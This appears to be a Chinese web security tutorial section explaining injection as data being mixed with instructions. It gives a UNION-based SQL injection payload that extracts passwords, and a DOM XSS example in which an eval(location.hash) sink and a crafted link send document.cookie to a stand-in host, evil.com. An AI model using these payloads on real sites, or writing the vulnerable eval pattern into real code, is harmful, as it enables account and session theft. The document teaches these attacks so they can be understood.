1.1 数据与指令
用浏览器打开一个网站,呈现在我们面前的都是数据,有服务端存储的(如:数据库、内存、文件系统等)、客户端存储的(如:本地Cookies、Flash Cookies等)、传输中的(如:JSON数据、XML数据等),还有文本数据(如:HTML、JavaScript、CSS等)、多媒体数据(如:Flash、MP3等)、图片数据等。
这些数据构成了我们看到的Web世界,它表面丰富多彩,背后却是暗流涌动。在数据流的每一个环节都可能出现安全风险。因为数据流有可能被“污染”,而不像预期的那样存储或传输。
如何存储、传输并呈现出这些数据,这需要执行指令,可以这样理解:指令就是要执行的命令。正是这些指令被解释执行,才产生对应的数据内容,而不同指令的解释执行,由对应的环境完成,比如:
select username,email,desc from users where id=1;
这是一条简单的SQL查询指令,当这条指令被解释执行时,就会产生一组数据,内容由user-name/email/desc构成,而解释的环境则为数据库引擎。
再如:
<script>eval(location.hash.substr(1));</script>
<script></script>标签内的是一句JavaScript指令,由浏览器的JS引擎来解释执行,解释的结果就是数据。而<script></script>本身却是HTML指令(俗称HTML标签),由浏览器DOM引擎进行渲染执行。
如果数据与指令之间能各司其职,那么Web世界就非常太平了。可你见过太平盛世真正存在吗?当正常的数据内容被注入指令内容,在解释的过程中,如果注入的指令能够被独立执行,那么攻击就发生了。
我们来看上面两个例子的攻击场景。
1. SQL注入攻击的发生
select username,email,desc from users where id=1;
下面以MySQL环境为例进行说明,在这条SQL语句中,如果id的值来自用户提交,并且用户是通过访问链接(http://www.foo.com/user.php?id=1)来获取自身的账号信息的。当访问这样的链接时,后端会执行上面这条SQL语句,并返回对应id号的用户数据给前端显示。那么普通用户会规规矩矩地对id提交整型数值,如1、2、3等,而邪恶的攻击者则会提交如下形式的值:
1 union select password,1,1 from users
组成的链接形式为:
http://www.foo.com/user.php?id=1 union select password,1,1 from users
组成的SQL语句为:
select username,email,desc from users where id=1 union select password,1,1 from users
看到了吗?组成的SQL语句是合法的,一个经典的union查询,此时注入的指令内容就会被当做合法指令执行。当这样的攻击发生时,users表的password就很可能泄漏了。
2. XSS跨站脚本攻击的发生
<script>eval(location.hash.substr(1));</script>
将这段代码保存到 http://www.foo.com/info.html 中。JavaScript的内置函数eval可以动态执行JavaScript语句,location.hash 获取的是链接http://www.foo.com/info.html#callback中的#符号及其后面的内容。substr 是字符串截取函数,location.hash.substr(1)表示截取#符号之后的内容,随后给eval函数进行动态执行。
如果攻击者构造出如下链接:
http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)
浏览器解释执行后,下面的语句:
eval(location.hash.substr(1));
会变为:
eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)')
当被攻击者被诱骗访问了该链接时,Cookies会话信息就会被盗取到黑客的网站上,一般情况下,黑客利用该Cookies可以登录被攻击者的账号,并进行越权操作。由此可以看到,攻击的发生是因为注入了一段恶意的指令,并且该指令能被执行。
题外话:
跨站攻击发生在浏览器客户端,而SQL注入攻击由于针对的对象是数据库,一般情况下,数据库都在服务端,所以SQL注入是发生在服务端的攻击。为什么这里说“一般情况下”,那是因为HTML5提供了一个新的客户端存储机制:在浏览器端,使用SQLite数据库保存客户端数据,该机制允许使用JavaScript脚本操作SQL语句,从而与本地数据库进行交互。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论